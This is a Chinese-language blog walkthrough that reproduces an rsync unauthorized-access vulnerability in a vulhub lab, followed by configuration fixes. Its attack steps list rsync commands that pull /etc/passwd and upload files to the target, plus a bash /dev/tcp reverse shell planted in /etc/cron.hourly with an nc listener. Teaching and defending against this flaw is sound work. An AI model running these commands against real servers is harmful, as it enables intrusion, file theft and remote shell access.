• rsync未授权访问漏洞复现


    rsync未授权访问漏洞简介

    rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口。由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。

    rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。

    rsync未授权访问漏洞复现

    漏洞环境搭建

    cd vulhub-master/rsync/common
    docker-compose up -d 
    

    漏洞复现

    rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他工具对目标服务器进行端口扫描,当检测到目标服务器开放873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件,rsync未授权访问漏洞的检测就是如此简单。

    1、nmap扫描目标系统是否开放rsync服务

    nmap -p 873 192.168.0.113
    

    2、使用如下两条命令之一,列出目标服务器的同步目录

    rsync 192.168.0.113::
    rsync rsync://192.168.0.113:873
    //rsync ip::
    //rsync rsync://ip:873
    

    3、查看模块文件

    获取到目录之后,只需在路径后添加目录名即可查看目录中的文件

    rsync 192.168.0.113::src
    


    4、下载任意目录文件

    rsync -av 192.168.0.113::src/etc/passwd ./
    //rsync -av ip::src/路径
    

    5、向目标系统上传任意文件

    rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
    //rsync -av 文件路径 rsync://ip:873/目标系统文件路径
    


    rsync未授权访问漏洞扫描探测

    1、namp

    nmap -p 873 --script rsync-list-modules 192.168.2.102
    


    2、metasploit

    rsync未授权访问漏洞反弹shell

    1、下载cron定时任务配置文件并且查看任务内容

    rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly
    //17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
    //表示17分钟会启动/etc/cron.hourly目录下文件的任务
    


    2、创建shell文件,写入反弹shell命令

    touch shell
    //文件写入反弹shell命令
    !/bin/bash
    /bin/bash -i >& /dev/tcp/192.168.2.101/8888 0>&1
    

    3、传入/etc/cron.hourly目录下

    rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly
    

    4、监听8888端口,等待17分钟之后,接收反弹shell

    nc -lvp 8888
    

    rsync未授权访问漏洞攻击流量分析


    rsync未授权访问漏洞修复

    更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
    访问控制;设置host allow,限制允许访问主机的IP。
    权限控制;设置read only,将模块设置成只读。
    访问认证;设置auth、secrets,认证成功才能调用服务。
    模块隐藏;设置list,将模块隐藏。
    详情可参考官方doc:https://rsync.samba.org/ftp/rsync/rsyncd.conf.html

    参考链接

    freebuf-每日漏洞 | rsync未授权访问
    Tide安全团队-rsync未授权访问漏洞利用复现

    声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

  • 相关阅读:
    insertAfter()
    Unity3D之协程(Coroutines & Yield )
    C#中 As 和强制转换的总结
    Mesh系列文章
    在Unity3D 4中关联Visual Studio 2012来编写C#
    Unity3D安装多版本
    Time.deltaTime 增量时间
    Unity3D中Update和Lateupdate的区别
    Making raycast ignore multiple layers
    Unity3d中SendMessage 用法简单笔记
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/13279101.html
Copyright © 2020-2023  润新知